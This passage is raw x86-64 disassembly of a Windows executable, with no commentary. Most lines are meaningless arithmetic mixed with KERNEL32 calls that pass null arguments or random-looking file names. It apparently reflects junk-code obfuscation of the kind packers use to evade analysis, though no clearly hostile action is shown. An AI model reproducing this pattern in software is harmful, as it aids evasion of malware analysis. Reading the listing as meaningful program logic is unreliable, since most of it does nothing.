mov dword [rsp + 0xdd4c], eax
movzx eax, byte [rsp + 0x85a]
movzx ecx, byte [0x1402bf710]
or eax, ecx
mov byte [rsp + 0x395], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2aa4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rax, [rsp + 0x782]
mov qword [rsp + 0x1ac20], rax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x19890]
mov word [rcx], ax
mov eax, dword [rsp + 0xd90c]
mov ecx, dword [rsp + 0xb340]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad69c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rcx, [rsp + 0x19eb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x1aad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80fc], eax
movzx eax, byte [rsp + 0x65e]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x811], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.l9313HefcIPOZHBV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ac28], rax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39d4]
sub eax, ecx
mov word [rsp + 0x3994], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd674], eax
mov eax, dword [rsp + 0xda3c]
mov dword [rsp + 0xdd50], eax
lea rcx, [rsp + 0x2d890]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd82c], eax
mov rax, qword [0x1402bf468]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdd3c], eax
mov rax, qword [rsp + 0x1a248]
mov eax, dword [rax]
mov dword [rsp + 0xdd54], eax
mov eax, dword [rsp + 0xdaa4]
mov ecx, dword [rsp + 0xd40c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x878]
sub eax, ecx
mov byte [rsp + 0x882], al
movzx eax, word [rsp + 0x3744]
movzx ecx, word [rsp + 0x2048]
sub eax, ecx
mov word [0x1402ad8d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.MP1nxgeNYBzf9WF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ac30], rax
mov rax, qword [rsp + 0x1a3a0]
mov ecx, dword [rsp + 0xd15c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7e54], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
mov rax, qword [rsp + 0x1ab88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb418]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8c0], eax
mov eax, dword [rsp + 0xd130]
mov dword [rsp + 0xdd58], eax
mov eax, dword [rsp + 0xd4e8]
movzx ecx, al
mov eax, dword [rsp + 0xd194]
sar eax, cl
mov dword [rsp + 0xdc1c], eax
lea rax, [rsp + 0xd8bc]
mov qword [rsp + 0x1ac38], rax
mov rax, qword [rsp + 0x1a870]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x39bc]
shl eax, cl
mov word [rsp + 0x380c], ax
movzx eax, byte [rsp + 0x7cb]
mov byte [rsp + 0x8a3], al
movzx eax, word [rsp + 0x37c4]
movzx ecx, word [rsp + 0x36bc]
cdq
idiv ecx
mov rcx, qword [0x1402bf730]
mov word [rcx], ax
mov eax, dword [rsp + 0xa234]
mov ecx, dword [rsp + 0xd944]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf80], eax
lea rax, [rsp + 0xd588]
mov qword [rsp + 0x1ac40], rax
movzx eax, byte [rsp + 0x7d1]
imul eax, eax, 0x59
mov rcx, qword [rsp + 0x1a2b0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xdb00], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a50]
sub eax, ecx
mov word [rsp + 0x370c], ax
mov eax, dword [rsp + 0xd0d4]
mov dword [rsp + 0xdd5c], eax
mov rax, qword [0x1402bf4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd700]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd668], eax
mov eax, dword [rsp + 0xced0]
mov ecx, dword [rsp + 0x80fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8044], eax
mov eax, dword [rsp + 0xc278]
mov ecx, dword [rsp + 0x97d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd014], eax
mov rcx, qword [rsp + 0x19ad8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xdd38], eax
movzx eax, word [0x1402ad6d0]
mov word [0x1402bf3c8], ax
movzx eax, byte [rsp + 0x7bf]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xdd60], eax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [0x1402ad714]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd598], eax
movzx eax, word [rsp + 0x1d8c]
mov word [rsp + 0x3b24], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d2]
sub eax, ecx
mov byte [rsp + 0x1d1], al
movzx eax, byte [rsp + 0x636]
movzx ecx, byte [rsp + 0x843]
sub eax, ecx
mov byte [rsp + 0x85f], al
lea rcx, [rsp + 0x2b068]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x34c4]
add eax, ecx
mov word [rsp + 0x1fa4], ax
mov rax, qword [rsp + 0x1ab60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a9d0]
mov qword [rsp + 0x1ac48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ac48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x916c], eax
lea rdx, [rsp + 0xd258]
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19bd8]
mov ecx, dword [rsp + 0xd610]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad708], eax
mov rax, qword [rsp + 0x1abd8]
mov eax, dword [rax]
mov dword [rsp + 0xdd64], eax
mov eax, dword [rsp + 0xd17c]
movzx ecx, al
mov eax, dword [rsp + 0xa790]
shl eax, cl
mov rcx, qword [rsp + 0x19f00]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd000]
mov dword [rsp + 0xdd68], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd29c], eax
movzx eax, word [rsp + 0x1b78]
movzx ecx, word [rsp + 0x37b4]
xor eax, ecx
mov word [rsp + 0x3184], ax
movzx eax, byte [rsp + 0x8d]
movzx ecx, byte [rsp + 0x7c1]
and eax, ecx
mov byte [rsp + 0x7be], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad6c], eax
mov eax, dword [rsp + 0xd7d0]
mov ecx, dword [rsp + 0x8d34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bd8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0xcf3c]
mov dword [rsp + 0xdd6c], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1f4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad8d8], eax
movzx eax, byte [rsp + 0x7e4]
movzx ecx, byte [rsp + 0x885]
add eax, ecx
mov byte [rsp + 0x872], al
lea rdx, [rsp + 0xdb34]
mov rcx, qword [rsp + 0x1a530]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd41c], eax
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0x1ab48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3658], ax
lea rax, [rsp + 0x7f5]
mov qword [rsp + 0x1ac50], rax
mov rax, qword [rsp + 0x1a118]
movsx eax, word [rax]
mov rcx, qword [0x1402bf3f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3aa8], ax
lea rax, [rsp + 0xd2d0]
mov qword [rsp + 0x1ac58], rax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [rsp + 0xb4b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbdd8], eax
movzx eax, word [rsp + 0x3acc]
movzx ecx, word [rsp + 0x18e8]
sub eax, ecx
mov word [rsp + 0x23d4], ax
lea rax, [rsp + 0x662]
mov qword [rsp + 0x1ac60], rax
mov eax, dword [rsp + 0xdc24]
mov rcx, qword [rsp + 0x19ef0]
mov qword [rsp + 0x1ac68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ac68]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x1402bf670]
mov dword [rcx], eax
mov rax, qword [0x1402bf6c8]
mov ecx, dword [rsp + 0xd580]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa304], eax
mov eax, dword [rsp + 0xd570]
mov dword [rsp + 0xdd70], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xdaf0]
shl eax, cl
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x86d]
mov rcx, qword [rsp + 0x1abf0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c3c]
sub eax, ecx
mov word [rsp + 0x181c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1ac70], rax
mov eax, dword [rsp + 0xa280]
mov ecx, dword [rsp + 0xd61c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd380], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov dword [rsp + 0xdd74], eax
mov rax, qword [rsp + 0x1a570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x1ac38]
mov ecx, dword [rsp + 0xdd24]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf770], eax
mov eax, dword [rsp + 0xdc9c]
mov dword [rsp + 0xdd78], eax
movsx eax, word [rsp + 0x39bc]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x39b0], ax
movsx eax, byte [rsp + 0x890]
mov rcx, qword [rsp + 0x1aaf0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a0], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov word [rsp + 0x3b28], ax
movzx eax, byte [rsp + 0x3be]
movzx ecx, byte [rsp + 0x7b7]
sub eax, ecx
mov byte [rsp + 0x815], al
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xd8f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc478], eax
mov rax, qword [rsp + 0x19b90]
mov rcx, qword [rsp + 0x1a938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd870], eax
movzx eax, word [rsp + 0x381c]
mov rcx, qword [rsp + 0x1a1c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3964], ax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7f1]
shl eax, cl
mov byte [0x1402acc5e], al
lea rax, [rsp + 0xdd20]
mov qword [rsp + 0x1ac78], rax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x1a3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce74], eax
lea rcx, [rsp + 0x19720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xcf68]
mov qword [rsp + 0x1ac80], rax
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd08c]
shr eax, cl
mov dword [rsp + 0xbc38], eax
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf518]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a9], al
movzx eax, word [rsp + 0x35f4]
mov word [rsp + 0x3b2c], ax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdadc], eax
mov rax, qword [rsp + 0x1a938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7e4], eax
mov eax, dword [0x1402ad7f8]
mov dword [rsp + 0xdd7c], eax
lea rax, [rsp + 0x825]
mov qword [0x1402bf3c0], rax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3524], ax
movzx eax, byte [rsp + 0x88c]
movzx ecx, byte [rsp + 0x632]
and eax, ecx
mov byte [rsp + 0x60d], al
movzx eax, word [rsp + 0x2978]
movzx ecx, word [rsp + 0x366c]
imul eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x1aa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd81c], eax
mov rax, qword [rsp + 0x1abe8]
mov eax, dword [rax]
mov dword [rsp + 0xdd80], eax
mov eax, dword [rsp + 0xd8d0]
mov ecx, dword [rsp + 0xdd44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8578], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xdd84], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a2f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3acc]
sub eax, ecx
mov rcx, qword [rsp + 0x1aa20]
mov word [rcx], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb76]
add eax, ecx
mov byte [str.yR__], al
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0xdc10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f00], eax
mov rax, qword [rsp + 0x19e80]
mov rcx, qword [rsp + 0x19d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0f0], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov dword [rsp + 0xdd88], eax
mov rax, qword [rsp + 0x1ac40]
mov ecx, dword [rsp + 0xd528]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x81d0], eax
movzx eax, word [rsp + 0x3a4c]
movzx ecx, word [rsp + 0x3a5c]
or eax, ecx
mov word [rsp + 0x3a24], ax
movzx eax, byte [0x1402acbbe]
mov byte [rsp + 0x8a4], al
movsx eax, word [rsp + 0x3150]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3b24], ax
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdd8c], eax
mov rax, qword [rsp + 0x1a1a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
xor eax, ecx
mov byte [rsp + 0x53e], al
mov rax, qword [rsp + 0x1a440]
mov eax, dword [rax]
mov dword [0x1402bf3b8], eax
mov rax, qword [rsp + 0x1a1e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd610]
sar eax, cl
mov dword [rsp + 0xd4bc], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39a0]
and eax, ecx
mov word [rsp + 0x3974], ax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
mov byte [rsp + 0x8a5], al
mov eax, dword [rsp + 0xdc1c]
mov ecx, dword [rsp + 0xd2c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8e8], eax
lea rax, [rsp + 0xb798]
mov qword [rsp + 0x1ac88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xda0c], eax
mov rax, qword [0x1402bf6c8]
mov ecx, dword [rsp + 0xd7d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce10], eax
mov rax, qword [rsp + 0x1a428]
mov eax, dword [rax]
mov dword [rsp + 0xdd90], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x80a], al
mov rax, qword [0x1402bf4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad828], ax
lea rdx, [rsp + 0x19e60]
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd28], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19eb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d38]
mov rcx, qword [0x1402bf5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cac], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xdd94], eax
mov rax, qword [rsp + 0x1a450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd680]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a60]
mov dword [rcx], eax
lea rax, [rsp + 0xa304]
mov qword [rsp + 0x1ac90], rax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6a0], eax
movsx eax, word [rsp + 0x38d4]
movsx ecx, word [rsp + 0x3624]
sub eax, ecx
mov word [rsp + 0x3630], ax
mov rax, qword [rsp + 0x1a270]
movzx eax, byte [rax]
mov byte [rsp + 0x8a6], al
movzx eax, word [0x1402ad670]
mov rcx, qword [rsp + 0x1aa48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3638], ax
lea rdx, [rsp + 0xdd40]
mov rcx, qword [rsp + 0x1a3f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd674], eax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402acbb3], al
mov eax, dword [rsp + 0xc478]
mov dword [rsp + 0xdd98], eax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a9d8]
mov qword [rsp + 0x1ac98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ac98]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd214], eax
mov rax, qword [rsp + 0x1aa48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x393c]
or eax, ecx
mov word [rsp + 0x2104], ax
movzx eax, byte [rsp + 0x60d]
mov byte [rsp + 0x8a7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19ff8], rax
mov rax, qword [0x1402bf628]
mov ecx, dword [rsp + 0xd1c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcee4], eax
mov rax, qword [rsp + 0x1a420]
mov ecx, dword [rsp + 0xdb7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa080], eax
mov rax, qword [rsp + 0x19f18]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab38], eax
mov eax, dword [rsp + 0x7f20]
mov dword [rsp + 0xdd9c], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad8dc], ax
mov rax, qword [0x1402bf448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63e]
add eax, ecx
mov byte [rsp + 0x82d], al
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [rsp + 0x9a7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a0d0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov dword [rsp + 0xdda0], eax
movsx eax, word [0x1402ad7e0]
movsx ecx, word [rsp + 0x37e4]
add eax, ecx
mov word [rsp + 0x3754], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x24e], al
movzx eax, byte [rsp + 0x7a2]
movzx ecx, byte [rsp + 0x7d5]
sub eax, ecx
mov byte [rsp + 0x83d], al
mov rax, qword [rsp + 0x1ab48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36e8]
add eax, ecx
mov word [rsp + 0x3618], ax
lea rax, [rsp + 0xd110]
mov qword [rsp + 0x1aca0], rax
lea rax, [rsp + 0xcfbc]
mov qword [0x1402bf3b0], rax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x81f0]
sar eax, cl
mov dword [rsp + 0xc8fc], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xdda4], eax
mov rax, qword [rsp + 0x19fb8]
mov rcx, qword [0x1402bf648]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd538], eax
movzx eax, word [rsp + 0x3940]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0x1a980]
movzx eax, byte [rax]
mov byte [rsp + 0x8a8], al
mov rax, qword [rsp + 0x1a620]
mov rcx, qword [rsp + 0x1a678]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd6c4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xdce0], eax
mov eax, dword [rsp + 0xd3a0]
movzx ecx, al
mov eax, dword [rsp + 0xd7c0]
shl eax, cl
mov dword [rsp + 0x9f8c], eax
mov rax, qword [rsp + 0x19fb8]
mov rcx, qword [rsp + 0x1a5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd9d0], eax
mov rax, qword [0x1402bf3e0]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7f8], eax
movzx eax, byte [rsp + 0x414]
movzx ecx, byte [rsp + 0x803]
add eax, ecx
mov byte [rsp + 0x874], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov word [rsp + 0x3b30], ax
mov rax, qword [0x1402bf3c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79c]
sub eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x1a118]
movzx eax, word [rax]
mov word [rsp + 0x3b34], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x1a570]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb520], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xce0c], eax
mov eax, dword [rsp + 0xb204]
mov ecx, dword [rsp + 0xdb84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb0], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3568]
and eax, ecx
mov word [rsp + 0x364c], ax
mov rax, qword [0x1402bf448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x851]
add eax, ecx
mov byte [rsp + 0x834], al
mov rax, qword [rsp + 0x1a610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbdbc]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad8e0], eax
lea rcx, str.FOe_Lto_3t7EaoJ5IsT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3b38], ax
lea rax, [rsp + 0xd774]
mov qword [rsp + 0x1aca8], rax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb69c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd034], eax
mov rax, qword [rsp + 0x1aa50]
mov eax, dword [rax]
mov dword [rsp + 0xdda8], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ab48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x20c0], ax
movzx eax, byte [rsp + 0x815]
movzx ecx, byte [rsp + 0x56]
sar eax, cl
mov byte [rsp + 0x81a], al
lea rax, [rsp + 0xb664]
mov qword [rsp + 0x1acb0], rax
mov rax, qword [rsp + 0x19cd8]
mov ecx, dword [rsp + 0xdc1c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1abd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xc1a4]
mov dword [rsp + 0xddac], eax
mov rax, qword [rsp + 0x1a248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb240]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf768]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1aac0]
mov ecx, dword [rsp + 0x8d3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd984], eax
mov rax, qword [rsp + 0x1aaf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x840], al
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x1a028]
movzx eax, word [rax]
mov word [rsp + 0x3b3c], ax
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad798]
sub eax, ecx
mov word [rsp + 0x3ac4], ax
mov rax, qword [rsp + 0x1a4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68f], al
mov eax, dword [rsp + 0xdc00]
mov ecx, dword [rsp + 0xdc70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8964], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov dword [rsp + 0xddb0], eax
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x392c], ax
lea rax, [rsp + 0x7ed]
mov qword [0x1402bf3a8], rax
mov eax, dword [rsp + 0xd6e4]
mov ecx, dword [rsp + 0xc9c8]
add ecx, eax
